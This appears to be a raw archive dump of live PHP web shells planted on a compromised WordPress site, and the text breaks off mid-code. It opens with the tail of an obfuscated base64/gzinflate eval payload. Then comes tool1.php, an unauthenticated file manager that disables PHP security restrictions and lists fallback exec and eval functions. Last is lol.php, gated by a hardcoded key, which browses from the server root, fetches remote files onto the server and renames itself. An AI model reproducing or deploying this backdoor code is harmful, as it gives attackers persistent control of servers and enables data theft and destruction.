FaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg=="));tool1.php000064400000111134151514460360006321 0ustar00<?php @error_reporting(0); @ini_set('display_errors', 0); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); @ini_set('memory_limit', '-1'); // Bypass security restrictions if(function_exists('ini_set')) { @ini_set('open_basedir', NULL); @ini_set('safe_mode', 0); @ini_set('disable_functions', ''); @ini_set('suhosin.executor.disable_eval', 0); } // Alternative function mapping for bypassing restrictions $func_alternatives = array( 'exec' => ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'], 'eval' => ['eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'], 'read' => ['file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'], 'write' => ['file_put_contents', 'fwrite', 'fputs'] ); // Dynamic function loader function getWorkingFunction($type) { global $func_alternatives; $disabled = explode(',', @ini_get('disable_functions')); if(isset($func_alternatives[$type])) { foreach($func_alternatives[$type] as $func) { if(function_exists($func) && !in_array($func, $disabled)) { return $func; } } } return false; } // Enhanced path resolver with multiple fallback methods function resolvePath() { $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : ''); if(empty($path)) { // Try multiple methods to get current directory $methods = [ function() { return @getcwd(); }, function() { return @dirname($_SERVER['SCRIPT_FILENAME']); }, function() { return @$_SERVER['DOCUMENT_ROOT']; }, function() { return @dirname(__FILE__); }, function() { return @realpath('.'); } ]; foreach($methods as $method) { $result = $method(); if($result && @is_dir($result)) { $path = $result; break; } } if(empty($path)) $path = '.'; } // Normalize path $path = str_replace(['\\', '//'], '/', $path); $path = rtrim($path, '/') . '/'; // Store in cookie for persistence @setcookie('last_path', $path, time() + 86400); // Validate path if(@is_dir($path)) return $path; if(@is_dir($real = @realpath($path))) return $real . '/'; return './'; } // Multi-method file reader function readContent($file) { // Try different reading methods $methods = [ function($f) { return @file_get_contents($f); }, function($f) { $fp = @fopen($f, 'rb'); if($fp) { $content = ''; while(!@feof($fp)) $content .= @fread($fp, 8192); @fclose($fp); return $content; } }, function($f) { ob_start(); @readfile($f); return ob_get_clean(); }, function($f) { return @implode('', @file($f)); } ]; foreach($methods as $method) { $result = $method($file); if($result !== false && $result !== null) return $result; } return ''; } // Multi-method file writer function writeContent($file, $data) { // Try different writing methods if(@file_put_contents($file, $data) !== false) return true; $fp = @fopen($file, 'wb'); if($fp) { $result = @fwrite($fp, $data) !== false; @fclose($fp); return $result; } // Try temp file method $temp = @tempnam(@dirname($file), 'tmp'); if(@file_put_contents($temp, $data) !== false) { return @rename($temp, $file); } return false; } // Enhanced directory scanner function scanPath($dir) { $items = []; // Try different listing methods if(function_exists('scandir')) { $items = @scandir($dir); } elseif($handle = @opendir($dir)) { while(false !== ($item = @readdir($handle))) { $items[] = $item; } @closedir($handle); } elseif(function_exists('glob')) { $items = array_map('basename', @glob($dir . '*')); } return array_diff($items, ['.', '..', '']); } // File/folder deletion with recursion function deleteItem($path) { if(@is_file($path)) { @chmod($path, 0777); return @unlink($path); } elseif(@is_dir($path)) { $items = scanPath($path); foreach($items as $item) { deleteItem($path . '/' . $item); } return @rmdir($path); } return false; } // Get file permissions function getPermissions($file) { $perms = @fileperms($file); if($perms === false) return '---'; $info = ''; // Owner permissions $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 'x' : '-'); // Group permissions $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 'x' : '-'); // Other permissions $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? 'x' : '-'); return $info; } // Check if file is writable (enhanced) function isWritableEnhanced($file) { // Try multiple methods if(@is_writable($file)) return true; // Try to create temp file in directory if(@is_dir($file)) { $test = $file . '/.test_' . md5(time()); if(@touch($test)) { @unlink($test); return true; } } // Check parent directory for files if(@is_file($file)) { $parent = @dirname($file); if(@is_writable($parent)) return true; } return false; } // Sort contents - folders first, then files function sortContents($contents, $currentPath) { $folders = []; $files = []; foreach($contents as $item) { $itemPath = $currentPath . $item; if(@is_dir($itemPath)) { $folders[] = $item; } else { $files[] = $item; } } // Sort alphabetically sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); return ['folders' => $folders, 'files' => $files]; } // Process current request $currentPath = resolvePath(); $notification = ''; $editMode = false; $editFile = ''; $editContent = ''; // Handle POST operations if($_SERVER['REQUEST_METHOD'] === 'POST') { // Upload handler if(isset($_FILES['upload'])) { $destination = $currentPath . basename($_FILES['upload']['name']); if(@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $content = readContent($_FILES['upload']['tmp_name']); if(writeContent($destination, $content)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $notification = ['type' => 'error', 'text' => 'Upload failed']; } } } // Save edited file if(isset($_POST['save']) && isset($_POST['content'])) { $target = $currentPath . $_POST['save']; if(writeContent($target, $_POST['content'])) { $notification = ['type' => 'success', 'text' => 'Changes saved']; } else { $notification = ['type' => 'error', 'text' => 'Save failed']; } } // Create new file if(isset($_POST['newfile']) && isset($_POST['filecontent'])) { $newPath = $currentPath . $_POST['newfile']; if(writeContent($newPath, $_POST['filecontent'])) { $notification = ['type' => 'success', 'text' => 'File created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Create directory if(isset($_POST['newfolder'])) { $newDir = $currentPath . $_POST['newfolder']; if(@mkdir($newDir, 0777, true)) { $notification = ['type' => 'success', 'text' => 'Folder created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Rename item if(isset($_POST['oldname']) && isset($_POST['newname'])) { $oldPath = $currentPath . $_POST['oldname']; $newPath = $currentPath . $_POST['newname']; if(@rename($oldPath, $newPath)) { $notification = ['type' => 'success', 'text' => 'Renamed successfully']; } else { $notification = ['type' => 'error', 'text' => 'Rename failed']; } } // Change permissions if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $target = $currentPath . $_POST['chmod_item']; $mode = octdec($_POST['chmod_value']); if(@chmod($target, $mode)) { $notification = ['type' => 'success', 'text' => 'Permissions changed']; } else { $notification = ['type' => 'error', 'text' => 'Permission change failed']; } } } // Handle GET operations if(isset($_GET['do'])) { $action = $_GET['do']; // Delete operation if($action === 'delete' && isset($_GET['item'])) { $target = $currentPath . $_GET['item']; if(deleteItem($target)) { $notification = ['type' => 'success', 'text' => 'Deleted successfully']; } else { $notification = ['type' => 'error', 'text' => 'Delete failed']; } } // Edit operation if($action === 'edit' && isset($_GET['item'])) { $editMode = true; $editFile = $_GET['item']; $editContent = readContent($currentPath . $editFile); } // Download operation if($action === 'download' && isset($_GET['item'])) { $downloadPath = $currentPath . $_GET['item']; if(@is_file($downloadPath)) { @ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Length: ' . @filesize($downloadPath)); @readfile($downloadPath); exit; } } } // Get directory contents and sort them $rawContents = scanPath($currentPath); $sortedContents = sortContents($rawContents, $currentPath); // System information $serverInfo = [ 'PHP' => @phpversion(), 'Server' => @$_SERVER['SERVER_SOFTWARE'] ?: 'Unknown', 'OS' => @php_uname('s') . ' ' . @php_uname('r'), 'User' => @get_current_user() ]; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager - @r3dc0d3r1337-WORDPRESS</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; background: #0a0a0a; min-height: 100vh; padding: 20px; color: #e0e0e0; } .container { max-width: 1400px; margin: 0 auto; background: #1a1a1a; border-radius: 12px; box-shadow: 0 10px 40px rgba(0,0,0,0.8); overflow: hidden; border: 1px solid #2a2a2a; } .header { background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%); color: white; padding: 25px; border-bottom: 2px solid #3a3a3a; } .header h1 { font-size: 26px; margin-bottom: 10px; display: flex; align-items: center; gap: 10px; text-shadow: 2px 2px 4px rgba(0,0,0,0.5); } .sys-info { display: flex; gap: 20px; font-size: 13px; opacity: 0.9; flex-wrap: wrap; } .sys-info span { display: flex; align-items: center; gap: 5px; background: rgba(0,0,0,0.3); padding: 4px 10px; border-radius: 4px; } .nav { background: #252525; padding: 15px 25px; border-bottom: 1px solid #3a3a3a; } .path-bar { display: flex; gap: 10px; margin-bottom: 15px; } .path-bar input { flex: 1; padding: 10px 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; transition: border-color 0.3s; } .path-bar input:focus { outline: none; border-color: #4a9eff; background: #222; } .btn { padding: 10px 20px; background: linear-gradient(135deg, #4a9eff 0%, #2a5298 100%); color: white; border: none; border-radius: 6px; cursor: pointer; font-size: 14px; font-weight: 500; transition: transform 0.2s, box-shadow 0.2s; } .btn:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(74, 158, 255, 0.4); } .btn-success { background: linear-gradient(135deg, #00b09b 0%, #96c93d 100%); } .btn-danger { background: linear-gradient(135deg, #ff416c 0%, #ff4b2b 100%); } .btn-small { padding: 5px 12px; font-size: 12px; } .tools { display: flex; gap: 15px; flex-wrap: wrap; } .tool-group { display: flex; align-items: center; gap: 10px; padding: 10px 15px; background: #1a1a1a; border-radius: 6px; border: 1px solid #3a3a3a; } .tool-group label { font-size: 13px; color: #a0a0a0; font-weight: 500; } .tool-group input[type="file"], .tool-group input[type="text"] { padding: 5px 10px; background: #252525; border: 1px solid #3a3a3a; color: #e0e0e0; border-radius: 4px; font-size: 13px; } .content { padding: 25px; background: #1a1a1a; } .notification { padding: 12px 20px; margin-bottom: 20px; border-radius: 6px; font-size: 14px; animation: slideIn 0.3s ease; } .notification.success { background: rgba(0, 255, 0, 0.1); color: #00ff00; border: 1px solid rgba(0, 255, 0, 0.3); } .notification.error { background: rgba(255, 65, 108, 0.1); color: #ff416c; border: 1px solid rgba(255, 65, 108, 0.3); } @keyframes slideIn { from { transform: translateY(-20px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .file-table { width: 100%; background: #252525; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.5); border: 1px solid #3a3a3a; } .file-table thead { background: #1a1a1a; } .file-table th { padding: 15px; text-align: left; font-size: 13px; font-weight: 600; color: #4a9eff; text-transform: uppercase; letter-spacing: 0.5px; border-bottom: 2px solid #3a3a3a; } .file-table td { padding: 12px 15px; border-top: 1px solid #2a2a2a; font-size: 14px; color: #e0e0e0; } .file-table tbody tr { transition: background 0.2s; } .file-table tbody tr:hover { background: #2a2a2a; } .file-table tbody tr.folder-row { background: rgba(74, 158, 255, 0.05); border-left: 3px solid #4a9eff; } .file-table tbody tr.folder-row:hover { background: rgba(74, 158, 255, 0.1); } .file-table a { color: #4a9eff; text-decoration: none; font-weight: 500; display: inline-flex; align-items: center; gap: 8px; } .file-table a:hover { color: #6ab7ff; } .file-icon { width: 20px; height: 20px; display: inline-flex; align-items: center; justify-content: center; } .file-actions { display: flex; gap: 8px; flex-wrap: wrap; } .file-actions a { padding: 4px 10px; background: rgba(74, 158, 255, 0.2); color: #4a9eff; border: 1px solid rgba(74, 158, 255, 0.3); border-radius: 4px; font-size: 12px; transition: all 0.2s; } .file-actions a:hover { background: rgba(74, 158, 255, 0.3); border-color: #4a9eff; } .file-actions a.delete { background: rgba(255, 65, 108, 0.2); color: #ff416c; border-color: rgba(255, 65, 108, 0.3); } .file-actions a.delete:hover { background: rgba(255, 65, 108, 0.3); border-color: #ff416c; } /* Permission-based colors */ .perm-writable { color: #00ff00 !important; font-weight: 600; text-shadow: 0 0 5px rgba(0, 255, 0, 0.5); } .perm-readonly { color: #ff4444 !important; font-weight: 600; text-shadow: 0 0 5px rgba(255, 68, 68, 0.5); } .perm-indicator { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; } .perm-indicator.writable { background: #00ff00; box-shadow: 0 0 5px #00ff00; animation: pulse-green 2s infinite; } .perm-indicator.readonly { background: #ff4444; box-shadow: 0 0 5px #ff4444; animation: pulse-red 2s infinite; } @keyframes pulse-green { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } @keyframes pulse-red { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .edit-area { width: 100%; min-height: 400px; padding: 15px; background: #0a0a0a; border: 2px solid #3a3a3a; color: #00ff00; border-radius: 6px; font-family: 'Courier New', monospace; font-size: 14px; line-height: 1.5; resize: vertical; } .edit-area:focus { outline: none; border-color: #4a9eff; background: #111; } .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 1000; animation: fadeIn 0.3s ease; } .modal.active { display: flex; align-items: center; justify-content: center; } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } .modal-content { background: #252525; padding: 30px; border-radius: 12px; width: 90%; max-width: 500px; animation: slideUp 0.3s ease; border: 1px solid #3a3a3a; } @keyframes slideUp { from { transform: translateY(50px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .modal-header { margin-bottom: 20px; font-size: 20px; font-weight: 600; color: #4a9eff; } .modal-body input, .modal-body textarea { width: 100%; padding: 10px; margin-bottom: 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; } .modal-body textarea { min-height: 150px; resize: vertical; } .modal-footer { display: flex; gap: 10px; justify-content: flex-end; } .empty { text-align: center; padding: 40px; color: #666; } .separator-row td { background: #1a1a1a; padding: 8px 15px !important; font-weight: 600; color: #4a9eff; border-top: 2px solid #3a3a3a !important; border-bottom: 2px solid #3a3a3a !important; text-transform: uppercase; letter-spacing: 1px; font-size: 12px; } @media (max-width: 768px) { .tools { flex-direction: column; } .file-table { font-size: 12px; } .file-actions { flex-direction: column; } .sys-info { font-size: 11px; } } </style> </head> <body> <div class="container"> <div class="header"> <h1>🌙 File Manager - @r3dc0d3r1337-WORDPRESS</h1> <div class="sys-info"> <?php foreach($serverInfo as $key => $value): ?> <span><strong><?php echo $key; ?>:</strong> <?php echo htmlspecialchars($value); ?></span> <?php endforeach; ?> </div> </div> <?php if($notification): ?> <div class="notification <?php echo $notification['type']; ?>"> <?php echo htmlspecialchars($notification['text']); ?> </div> <?php endif; ?> <div class="nav"> <form method="get" class="path-bar"> <input type="text" name="p" value="<?php echo htmlspecialchars($currentPath); ?>" placeholder="Enter path..."> <button type="submit" class="btn">Navigate</button> </form> <div class="tools"> <form method="post" enctype="multipart/form-data" class="tool-group"> <label>Upload:</label> <input type="file" name="upload" required> <button type="submit" class="btn btn-small btn-success">Upload</button> </form> <div class="tool-group"> <button onclick="showNewFileModal()" class="btn btn-small">New File</button> <button onclick="showNewFolderModal()" class="btn btn-small">New Folder</button> </div> </div> </div> <div class="content"> <?php if($editMode): ?> <div class="edit-container"> <h3 style="margin-bottom: 15px; color: #4a9eff;">Editing: <?php echo htmlspecialchars($editFile); ?></h3> <form method="post"> <input type="hidden" name="save" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="content" class="edit-area"><?php echo htmlspecialchars($editContent); ?></textarea> <div style="margin-top: 15px; display: flex; gap: 10px;"> <button type="submit" class="btn btn-success">Save Changes</button> <a href="?p=<?php echo urlencode($currentPath); ?>" class="btn btn-danger" style="text-decoration: none; display: inline-flex; align-items: center;">Cancel</a> </div> </form> </div> <?php else: ?> <table class="file-table"> <thead> <tr> <th width="35%">Name</th> <th width="10%">Type</th> <th width="10%">Size</th> <th width="10%">Permissions</th> <th width="15%">Modified</th> <th width="20%">Actions</th> </tr> </thead> <tbody> <?php if($currentPath !== '/'): ?> <tr> <td colspan="6"> <a href="?p=<?php echo urlencode(dirname($currentPath)); ?>"> <span class="file-icon">⬆️</span> Parent Directory </a> </td> </tr> <?php endif; ?> <?php // Display folders first if(!empty($sortedContents['folders'])) { echo '<tr class="separator-row"><td colspan="6">📁 Folders</td></tr>'; foreach($sortedContents['folders'] as $folder): $itemPath = $currentPath . $folder; $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); ?> <tr class="folder-row"> <td> <a href="?p=<?php echo urlencode($itemPath); ?>"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">📁</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($folder); ?> </span> </a> </td> <td>Folder</td> <td>-</td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($folder); ?>" class="delete" onclick="return confirm('Delete this folder and all its contents?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php // Display files if(!empty($sortedContents['files'])) { echo '<tr class="separator-row"><td colspan="6">📄 Files</td></tr>'; foreach($sortedContents['files'] as $file): $itemPath = $currentPath . $file; $size = @filesize($itemPath); $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: 'FILE'); if($size !== false) { if($size < 1024) $size = $size . ' B'; elseif($size < 1048576) $size = round($size/1024, 1) . ' KB'; elseif($size < 1073741824) $size = round($size/1048576, 1) . ' MB'; else $size = round($size/1073741824, 1) . ' GB'; } else { $size = '?'; } ?> <tr> <td> <span style="display: inline-flex; align-items: center; gap: 8px;"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">📄</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($file); ?> </span> </span> </td> <td><?php echo $ext; ?></td> <td><?php echo $size; ?></td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="?p=<?php echo urlencode($currentPath); ?>&do=edit&item=<?php echo urlencode($file); ?>">Edit</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=download&item=<?php echo urlencode($file); ?>">Download</a> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($file); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($file); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($file); ?>" class="delete" onclick="return confirm('Delete this file?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php if(empty($sortedContents['folders']) && empty($sortedContents['files'])): ?> <tr> <td colspan="6" class="empty">Empty directory</td> </tr> <?php endif; ?> </tbody> </table> <?php endif; ?> </div> </div> <!-- New File Modal --> <div id="newFileModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New File</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfile" placeholder="Filename (e.g., index.php)" required> <textarea name="filecontent" placeholder="File content (optional)"></textarea> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFileModal')">Cancel</button> </div> </form> </div> </div> <!-- New Folder Modal --> <div id="newFolderModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New Folder</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfolder" placeholder="Folder name" required> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFolderModal')">Cancel</button> </div> </form> </div> </div> <script> // Modal functions function showNewFileModal() { document.getElementById('newFileModal').classList.add('active'); } function showNewFolderModal() { document.getElementById('newFolderModal').classList.add('active'); } function closeModal(id) { document.getElementById(id).classList.remove('active'); } // Rename function function renameItem(oldName) { var newName = prompt('Enter new name:', oldName); if(newName && newName !== oldName) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="oldname" value="' + oldName + '">' + '<input type="hidden" name="newname" value="' + newName + '">'; document.body.appendChild(form); form.submit(); } } // Chmod function function chmodItem(item) { var mode = prompt('Enter new permissions (e.g., 755):', '755'); if(mode) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' + '<input type="hidden" name="chmod_value" value="' + mode + '">'; document.body.appendChild(form); form.submit(); } } // Auto-hide notifications setTimeout(function() { var notifications = document.querySelectorAll('.notification'); notifications.forEach(function(n) { n.style.opacity = '0'; setTimeout(function() { n.style.display = 'none'; }, 300); }); }, 3000); // Keyboard shortcuts document.addEventListener('keydown', function(e) { if(e.ctrlKey && e.key === 'n') { e.preventDefault(); showNewFileModal(); } if(e.ctrlKey && e.shiftKey && e.key === 'N') { e.preventDefault(); showNewFolderModal(); } if(e.key === 'Escape') { document.querySelectorAll('.modal.active').forEach(function(m) { m.classList.remove('active'); }); } }); // Click outside modal to close document.querySelectorAll('.modal').forEach(function(modal) { modal.addEventListener('click', function(e) { if(e.target === modal) { modal.classList.remove('active'); } }); }); </script> </body> </html>lol.php000064400000065503151514460360006061 0ustar00<?php /** * Advanced File Manager * Compatible with PHP 5.3+ */ // ============ الإعدادات ============ define('AUTH_KEY', 'She2024@@'); // غيّر هذا المفتاح define('MAX_UPLOAD_SIZE', 50 * 1024 * 1024); // 50MB define('ALLOW_ROOT_ACCESS', true); // السماح بالوصول للجذر // ============ التحقق من الدخول ============ session_start(); if(!isset($_SESSION['logged_in'])){ if(isset($_POST['auth_key']) && $_POST['auth_key'] === AUTH_KEY){ $_SESSION['logged_in'] = true; header('Location: '.$_SERVER['PHP_SELF']); exit; } ?> <!DOCTYPE html> <html><head><meta charset="UTF-8"><title>Login</title> <style> body{font-family:Arial;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);height:100vh;display:flex;align-items:center;justify-content:center;margin:0} .login-box{background:#fff;padding:40px;border-radius:10px;box-shadow:0 10px 25px rgba(0,0,0,0.2);width:300px} h2{margin:0 0 20px;color:#333;text-align:center} input[type="password"]{width:100%;padding:12px;border:2px solid #ddd;border-radius:5px;font-size:14px;box-sizing:border-box} input[type="password"]:focus{border-color:#667eea;outline:none} button{width:100%;padding:12px;background:#667eea;color:#fff;border:none;border-radius:5px;font-size:16px;cursor:pointer;margin-top:15px} button:hover{background:#5568d3} </style></head><body> <div class="login-box"> <h2>🔐 File Manager</h2> <form method="POST"> <input type="password" name="auth_key" placeholder="Enter access key" autofocus required> <button type="submit">Login</button> </form> </div> </body></html> <?php exit; } if(isset($_GET['logout'])){ session_destroy(); header('Location: '.$_SERVER['PHP_SELF']); exit; } // ============ المسار الحالي ============ if(isset($_GET['path'])){ $current_path = $_GET['path']; // تنظيف المسار $current_path = str_replace(array('../', '..\\'), '', $current_path); if(!file_exists($current_path) || !is_dir($current_path)){ $current_path = '/'; } }else{ $current_path = getcwd(); } // تأكد من وجود المسار if(!is_dir($current_path)){ $current_path = '/'; } // الجذر الأساسي للسيرفر (للسماح بالوصول الكامل) $server_root = ALLOW_ROOT_ACCESS ? '/' : getcwd(); // ============ إعادة تسمية الملف الحالي ============ if(isset($_POST['rename_current']) && isset($_POST['new_name'])){ $new_name = basename($_POST['new_name']); if(!preg_match('/\.php$/i', $new_name)) $new_name .= '.php'; $new_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . $new_name; if(@rename(__FILE__, $new_path)){ header('Location: '.$new_name.'?path='.urlencode($current_path).'&msg=renamed'); exit; } } // ============ إنشاء مجلد ============ if(isset($_POST['create_folder']) && isset($_POST['folder_name'])){ $folder_name = basename($_POST['folder_name']); $new_folder = $current_path . DIRECTORY_SEPARATOR . $folder_name; if(@mkdir($new_folder, 0755, true)){ header('Location: ?path='.urlencode($current_path).'&msg=folder_created'); }else{ header('Location: ?path='.urlencode($current_path).'&msg=error'); } exit; } // ============ إنشاء ملف ============ if(isset($_POST['create_file']) && isset($_POST['file_name'])){ $file_name = basename($_POST['file_name']); $new_file = $current_path . DIRECTORY_SEPARATOR . $file_name; if(@file_put_contents($new_file, '')){ header('Location: ?path='.urlencode($current_path).'&msg=file_created'); }else{ header('Location: ?path='.urlencode($current_path).'&msg=error'); } exit; } // ============ رفع ملفات ============ if(isset($_FILES['upload_files'])){ $success = 0; $failed = 0; foreach($_FILES['upload_files']['tmp_name'] as $key => $tmp){ if($_FILES['upload_files']['error'][$key] === UPLOAD_ERR_OK){ if($_FILES['upload_files']['size'][$key] <= MAX_UPLOAD_SIZE){ $filename = basename($_FILES['upload_files']['name'][$key]); $destination = $current_path . DIRECTORY_SEPARATOR . $filename; if(@move_uploaded_file($tmp, $destination)){ @chmod($destination, 0644); $success++; }else{ $failed++; } }else{ $failed++; } }else{ $failed++; } } header('Location: ?path='.urlencode($current_path).'&msg=uploaded&success='.$success.'&failed='.$failed); exit; } // ============ رفع من URL ============ if(isset($_POST['download_url']) && isset($_POST['url'])){ $url = $_POST['url']; $filename = basename(parse_url($url, PHP_URL_PATH)); if(!$filename) $filename = 'downloaded_'.time().'.file'; $destination = $current_path . DIRECTORY_SEPARATOR . $filename; $content = @file_get_contents($url); if($content !== false){ @file_put_contents($destination, $content); @chmod($destination, 0644); header('Location: ?path='.urlencode($current_path).'&msg=url_downloaded'); exit; } header('Location: ?path='.urlencode($current_path).'&msg=error'); exit; } // ============ حذف ============ if(isset($_GET['delete'])){ $delete_path = $_GET['delete']; if(file_exists($delete_path)){ function delete_recursive($path){ if(is_dir($path)){ $items = array_diff(scandir($path), array('.','..')); foreach($items as $item){ delete_recursive($path . DIRECTORY_SEPARATOR . $item); } @rmdir($path); }else{ @unlink($path); } } delete_recursive($delete_path); } header('Location: ?path='.urlencode($current_path).'&msg=deleted'); exit; } // ============ إعادة تسمية ============ if(isset($_POST['rename_from']) && isset($_POST['rename_to'])){ $from = $_POST['rename_from']; $to = dirname($from) . DIRECTORY_SEPARATOR . basename($_POST['rename_to']); if(file_exists($from)){ @rename($from, $to); } header('Location: ?path='.urlencode($current_path).'&msg=renamed'); exit; } // ============ تعديل ملف ============ if(isset($_GET['edit'])){ $edit_file = $_GET['edit']; if(file_exists($edit_file) && is_file($edit_file)){ if(isset($_POST['file_content'])){ @file_put_contents($edit_file, $_POST['file_content']); header('Location: ?path='.urlencode($current_path).'&msg=saved'); exit; } $content = @file_get_contents($edit_file); ?> <!DOCTYPE html> <html><head><meta charset="UTF-8"><title>Edit File</title> <style> body{font-family:Arial;margin:0;padding:20px;background:#f5f5f5} .container{max-width:1200px;margin:0 auto;background:#fff;padding:20px;border-radius:8px;box-shadow:0 2px 4px rgba(0,0,0,0.1)} h3{margin:0 0 15px;color:#333} .path-info{background:#f8f9fa;padding:10px;border-radius:5px;margin-bottom:15px;font-size:12px;color:#666} textarea{width:100%;height:500px;font-family:'Courier New',monospace;font-size:13px;padding:10px;border:1px solid #ddd;border-radius:4px;box-sizing:border-box} .btn{padding:10px 20px;background:#667eea;color:#fff;border:none;border-radius:5px;cursor:pointer;text-decoration:none;display:inline-block;margin-right:10px} .btn:hover{background:#5568d3} .btn-secondary{background:#6c757d} .btn-secondary:hover{background:#5a6268} </style></head><body> <div class="container"> <h3>📝 Edit: <?php echo htmlspecialchars(basename($edit_file)); ?></h3> <div class="path-info">📂 <?php echo htmlspecialchars($edit_file); ?></div> <form method="POST"> <textarea name="file_content"><?php echo htmlspecialchars($content); ?></textarea><br> <button type="submit" class="btn">💾 Save</button> <a href="?path=<?php echo urlencode($current_path); ?>" class="btn btn-secondary">Cancel</a> </form> </div> </body></html> <?php exit; } } // ============ عرض ملف ============ if(isset($_GET['view'])){ $view_file = $_GET['view']; if(file_exists($view_file) && is_file($view_file)){ $content = @file_get_contents($view_file); echo '<pre style="background:#2d2d2d;color:#f8f8f2;padding:20px;overflow:auto;border-radius:8px">'.htmlspecialchars($content).'</pre>'; echo '<br><a href="?path='.urlencode($current_path).'" style="color:#667eea;padding:10px;text-decoration:none">← Back</a>'; exit; } } // ============ تحميل ملف ============ if(isset($_GET['download'])){ $download_file = $_GET['download']; if(file_exists($download_file) && is_file($download_file)){ header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($download_file).'"'); header('Content-Length: '.filesize($download_file)); readfile($download_file); exit; } } // ============ ضغط مجلد ============ if(isset($_GET['zip_folder'])){ $zip_folder = $_GET['zip_folder']; if(file_exists($zip_folder) && is_dir($zip_folder) && class_exists('ZipArchive')){ $zip_name = basename($zip_folder).'_'.date('Ymd_His').'.zip'; $zip_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zip_name; $zip = new ZipArchive(); if($zip->open($zip_path, ZipArchive::CREATE) === TRUE){ $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($zip_folder, 